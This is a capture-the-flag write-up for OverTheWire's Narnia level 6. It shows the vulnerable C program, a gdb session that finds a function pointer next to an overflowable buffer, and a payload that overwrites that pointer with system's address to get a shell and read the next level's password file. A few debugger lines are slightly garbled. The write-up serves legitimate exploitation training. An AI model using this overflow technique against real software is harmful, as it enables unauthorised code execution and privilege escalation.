overthewire / narina

Level 6

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        fp(b1);

        exit(1);
}

At first glance this is a little more complex. The int (*fp)(char *)=(int(*)(char *))&puts, i; statement ends up doing two things - (1) creating a function pointer to puts, and also defining an integer i. The environ, and any extra args, are zero’ed out.

The & against fp excludes it from pointing to a particular address in memory (namely 0xff******). The call to fp(b1) looks like our ticket out of here but it’s been defined after b1 and b2. Let’s see this through gdb.

narnia6@narnia:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
gfter the `strcpy`. Let'sdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x08048559 <+0>:     push   ebp
   0x0804855a <+1>:     mov    ebp,esp
   0x0804855c <+3>:     push   ebx
   0x0804855d <+4>:     and    esp,0xfffffff0
   0x08048560 <+7>:     sub    esp,0x30
   0x08048563 <+10>:    mov    DWORD PTR [esp+0x28],0x80483f0
   0x0804856b <+18>:    cmp    DWORD PTR [ebp+0x8],0x3
...
   0x0804867f <+294>:   mov    DWORD PTR [esp],eax
   0x08048682 <+297>:   call   0x80483e0 <strcpy@plt>
   0x08048687 <+302>:   mov    eax,DWORD PTR [esp+0x28]
   0x0804868b <+306>:   and    eax,0xff000000
   0x08048690 <+311>:   mov    ebx,eax
   0x08048692 <+313>:   call   0x804854d <get_sp>
...
(gdb) br *0x0804868b
Breakpoint 1 at 0x804868b
(gdb) x/bx 0x80483f0
0x80483f0 <puts@plt>:   0xff

break before the &, a see what the stack looks like then.

(gdb) r DDDDDDD fffffff
Starting program: /narnia/narnia6 DDDDDDD fffffff

Breakpoint 1, 0x0804868b in main ()
gdb) x/14wx $esp
0xffffd6d0:     0xffffd6e8      0xffffd8f5      0x00000021      0x08048712
0xffffd6e0:     0x00000003      0xffffd7a4      0x66666666      0x00666666
0xffffd6f0:     0x44444444      0x00444444      0x080483f0      0x00000003
0xffffd700:     0x080486c0      0xf7fcb000

That’s interesting - at 0xffffd6f8 is fp! Which we can therefore overwrite by overflowing b1.

The next question is what to overflow it with. We can’t add an address on the stack due to the & check. Now if we could get fp to point to something like system, we might be in business.

It turns out that by importing stdlib.h, we’re doing exactly that:

(gdb) break system
Breakpoint 3 at 0xf7e61e70

With this in mind we can craft our payload:

narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print "/bin/sh;\x70\x1e\xe6\xf7 fffffff"')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
*** password ***``